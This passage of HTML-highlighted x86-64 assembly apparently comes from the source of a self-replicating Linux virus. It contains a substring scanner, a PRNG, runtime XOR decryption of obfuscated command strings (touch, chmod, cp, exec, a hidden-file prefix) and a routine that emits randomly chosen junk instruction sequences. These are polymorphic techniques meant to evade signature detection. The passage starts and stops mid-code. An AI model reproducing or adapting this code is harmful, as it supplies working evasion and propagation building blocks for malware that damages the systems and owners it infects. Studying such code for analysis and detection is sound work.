    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.not_found&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.check_match&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.scan&lt;/span&gt;

&lt;span class="nl"&gt;.check_match:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;

&lt;span class="nl"&gt;.match_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r11&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.found&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.not_found&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.next_pos&lt;/span&gt;

    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r11&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.match_loop&lt;/span&gt;

&lt;span class="nl"&gt;.next_pos:&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.scan&lt;/span&gt;

&lt;span class="nl"&gt;.found:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.not_found:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; PRNG&lt;/span&gt;
&lt;span class="nl"&gt;get_random:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;si&lt;/span&gt;&lt;span class="nv"&gt;gnme&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
    &lt;span class="nf"&gt;shr&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
    &lt;span class="nf"&gt;shr&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;si&lt;/span&gt;&lt;span class="nv"&gt;gnme&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;get_range:&lt;/span&gt;                          &lt;span class="c1"&gt;; random in range 0-ecx&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;get_random&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;
    &lt;span class="nf"&gt;div&lt;/span&gt; &lt;span class="nb"&gt;ecx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;edx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; decrypt string with indexed key&lt;/span&gt;
&lt;span class="nl"&gt;d_strmain:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;xor_keys&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;

    &lt;span class="c1"&gt;; clear dest buffer&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;rep&lt;/span&gt; &lt;span class="nv"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

&lt;span class="nl"&gt;.d_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.d_done&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;

    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;dec&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.d_loop&lt;/span&gt;

&lt;span class="nl"&gt;.d_done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; decrypt all strings at runtime&lt;/span&gt;
&lt;span class="nl"&gt;d_str:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;touc&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;touch_cmd_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;d_strmain&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;cmhd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;ch&lt;/span&gt;&lt;span class="nv"&gt;mod_cmd_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;d_strmain&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;tchh&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;touch_chmod_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;d_strmain&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;exec&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;exec_cmd_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;d_strmain&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;cpcm&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;cp_cmd_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;d_strmain&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;vxxe&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;vxx_str&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;d_strmain&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;hidd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;hidden_prefix&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;d_strmain&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; 4 variants&lt;/span&gt;
&lt;span class="nl"&gt;spawn_junk:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;               &lt;span class="c1"&gt;; dst buffer&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;get_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;                &lt;span class="c1"&gt;; 4 variants&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.variant_0&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.variant_1&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.variant_2&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.variant_3&lt;/span&gt;

&lt;span class="nl"&gt;.variant_0:&lt;/span&gt;
    &lt;span class="c1"&gt;; push rax,rbx; xchg rax,rbx; xchg rax,rbx; pop rbx,rax&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x50&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x53&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0xC3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0xC3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x5B&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x58&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

&lt;span class="nl"&gt;.variant_1:&lt;/span&gt;
    &lt;span class="c1"&gt;; push rcx,rdx; xchg rcx,rdx; xchg rcx,rdx; pop rdx,rcx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x51&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x52&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0xCA&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;
